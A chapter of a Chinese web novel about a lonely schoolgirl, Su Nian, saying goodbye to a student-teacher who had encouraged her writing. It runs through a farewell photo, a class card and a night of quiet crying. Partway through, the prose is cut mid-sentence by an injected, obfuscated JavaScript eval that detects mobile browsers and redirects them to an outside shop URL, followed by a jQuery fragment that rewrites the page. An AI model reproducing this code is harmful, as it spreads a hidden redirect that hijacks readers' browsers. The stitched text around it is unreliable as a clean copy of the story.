苏念转身走出旧图书馆，操场上空无一人，天边的云被夕阳烧得通红。
“苏念，等一下。”林知意叫住她。
苏念停步回头，林知意正从帆布包里翻出一个银黑色的奥林巴斯胶卷相机，边角已经掉漆，金属外壳在夕阳下反着光。
“拍张照吧。”林知意走过来，把相机挂在脖子上，“胶卷还剩最后两张。”
看门大爷拿着黄铜挂锁正要锁门，听到这话，手上的动作停住。“我这老头子拍什么照。”大爷把挂锁塞回裤兜，连连摆手往门房走，“不上相，浪费胶卷。”
林知意走过去，拉住大爷的胳膊。“一起拍，”林知意说，“新书上架，得留个纪念。”
大爷被拉到长桌前，手脚都不知道往哪儿放，只好在灰布裤子上蹭了蹭手心，又理了理洗得发白的衣领。他从口袋里掏出那副老花镜，苏念和陈小满凑了38块钱买的，架在鼻梁上。镜腿有些松，他用食指往上推了推。
“陈小满！赵小朵！”林知意冲着窗外喊。
陈小满刚从厕所出来，甩着手上的水跑进屋。赵小朵跟在后面，手里捏着一个空矿泉水瓶。两人站在门口，看着相机。
“过来拍照。”林知意指挥。
几个人走到靠窗的书架前。夕阳从窗框漏进来，照在水磨石地板上，光柱里浮动着灰尘。
林知意把相机放在对面的铁皮柜上，底下垫了两本旧字典调好高度。她弯腰眯起一只眼凑近取景器，拨动齿轮对焦，相机发出细微的机械摩/擦声。她按下定时器，一个红灯开始闪。
“十秒。”林知意喊了一声，转身跑回队伍里。
站位很挤。
大爷站在正中间，站得笔直，两只手贴着裤缝，表情严肃。老花镜的镜片映着窗外的红霞。陈小满和赵小朵站在左边，陈小满比了个“V”的手势，赵小朵把空水瓶藏到身后。
林知意站在大爷右边，苏念站在最边上。
倒计时还有五秒，林知意伸出左手，搭在苏念的肩膀上。手心的温度和重量，隔着一层薄校服布料压了下来。
苏念低着头，怀里抱着那本刚包好书膜的《我与地坛》。倒计时三秒，她抬起头看向镜头。她不习惯拍照，脸上的肌肉都僵了。但肩膀上那只手很稳，她努力牵动嘴角，笑了。
“咔哒。”
快门响了，没开闪光灯，全凭自然光。
林知意走过去拿起相机，用大拇指拨动过卷齿轮。“洗出来给你们一人一张。”她把相机装回包里。
周三。
期末考试倒计时三天。
教室后黑板变了样。李思思踩着椅子，拿着红粉笔，在黑板正中/央写下四个大字：欢送林老师。字很大，旁边画了气球和波浪花边。
周雨晴站在下面递粉笔，指着黑板：“右边再高一点。”
苏念坐在最后一排，桌上摊着物理模拟卷。她盯着黑板上那四个字，没动笔。粉笔灰落在地板上，白了一片。
陈小满从前排走过来，捏着个牛皮纸信封。“每个人交两块钱。”陈小满压低声音，把信封放在苏念桌上，“给林老师买个音乐盒，张逸飞说市中心文具店有带水晶球的，好看。”
苏念拉开书包拉链，从笔袋里摸出两枚一元硬币，放进信封。硬币撞在纸面上，声音很闷。
“写贺卡不？”陈小满收起信封，“周雨晴买了个大的，全班都要签名。”
“写。”苏念说。
中午自习课，周雨晴拿着一张粉色硬纸板贺卡走到最后一排，平放在苏念桌上。上面密密麻麻写满了名字和句子。李思思写了“前程似锦”，张逸飞写了“一路顺风”。
“找个空写。”周雨晴语气平淡，没了以前的夹枪带棒。
苏念拔下笔帽，在贺卡边上找了个空白角落。她停了两秒，写下两个字：平安。后面是她的名字，苏念。字很小，挤在一堆花哨的字体里，不显眼。她把贺卡推回给周雨晴。周雨晴拿起来看了一眼，转身走回讲台。
下午第一节是数学课，刘国强夹着教案走进来。他把教案扔在讲桌上，拿起黑板擦敲了敲桌面。
“都收心。”刘国强扫视全班，“后天期末考试，别整天搞些虚的。林老师实习结束要回大学，这是流程。你们的任务是考试，考砸了，谁也救不了你们。”
班里没人说话。张逸飞把刚折好的纸鹤塞进课桌抽屉。刘国强转身在黑板上写几何公式，粉笔敲击黑板，笃笃作响。
苏念看着黑板，流程。刘国强说得对，这就是流程。师范生来实习一个月，然后走人，再换下一批。七中每年都这样，刘国强习惯了，看门大爷习惯了，连校门口卖手抓饼的小贩都习惯了。
可苏念没习惯。
她把手伸/进书包，摸到那本硬皮笔记本，是林知意来实习第一周送的。本子用掉大半，空白页不多了。她用拇指拨着书页边缘，纸张哗啦啦地响。
以前她是个隐形人，坐在最后一排，没人看她，她就自己看书，自己写东西。被王强欺负，被刘国强无视，她都觉得正常。
是林知意看见了她，给她批改作文，替她挡刘国强的骂，给她包书皮，告诉她不要为了别人写文章。
现在，这个人要走了。
苏念手里的笔杆被攥得生疼。她想考第一，想拿作文奖，天真地以为只要自己拿了奖，林知意就能留下。是她想错了。市
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849305|211777||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
教委的评优结果下来，林知意通过了考核。她要回大学答辩，要毕业，要去一个比七中更好的地方。
她留不住。
周四晚上，城中村出租屋。
外面在下雨，雨点砸在铁皮棚上，噼里啪啦地响。屋里闷热，墙角的塑料盆接着屋顶漏下来的水，滴答作响。
姜翠花坐在床沿，戴着顶针缝一件破洞的短袖。她咬断线头，问：“明天考完语文，中午回来吃还是在学校吃？”
“学校。”苏念说。
“行，我给你留个鸡腿，晚上回来吃。”姜翠花把衣服叠好，放进木柜子，“那林老师，啥时候走？”
“下周一。”
“哦。”姜翠花叹了口气，“好人，你以后出息了，得去看看人家。”
姜翠花关了顶灯，只留了书桌前一盏旧台灯。她躺下睡了，很快就打起呼噜。
苏念坐在桌前，桌上放着语文课本和那本硬皮笔记本。
她翻开笔记本，第一页是林知意的字迹：多写，多看，慢慢来。娟秀的字迹，蓝色的钢笔水已经干透，融进了纸张的纹理。
往后翻，是她写的随笔，夹杂着林知意的红笔批注。
“这里留白很好。”
“情绪收一点，不要太满。”
“写得很棒，我看到了城中村的烟火气。”
每一页都有红色的痕迹，这些痕迹陪了她一个月。
苏念翻到最新的一页，空白纸面在台灯下泛着黄光。她拿起黑笔，想随便写点什么，写复习计划，写明天的天气，或者写那盆刚浇过水的长势很好的多肉。
笔尖停在纸上，一滴墨水渗出来，洇开一个黑点。
窗外的雨更大了，铁皮棚的响声盖过了姜翠花的呼噜声。
苏念盯着那个黑点，眼前的纸面开始扭曲模糊。她眨了下眼，一滴水砸了下来，正落在那个黑点旁边。纸面迅速吸水，凹下去一小块，把那点墨迹也化开了。
她没出声，屋里只有雨声和漏水声。她咬紧下嘴唇，牙齿陷进肉里，很疼。她放下笔，用双手捂住脸，肩膀开始发/抖。
眼泪顺着指缝流下来，滴在手背上，冰凉。
她觉得自己够硬了，外婆骂她没哭，数学考58分没哭，被王强撞翻桌子也没哭。可现在，眼泪就是停不下来。
下周一之后，旧图书馆里就再也没有那个穿浅蓝色衬衫的人了。再也没有人会因为撕不开透明胶带而手忙脚乱，再也没有人会把她的废稿钉在软木板上，告诉全班，这叫实打实的努力。
台灯闪了两下，发出滋滋的电流声。苏念看着那页洇湿的纸，伸手合上了笔记本。
明天还要考语文。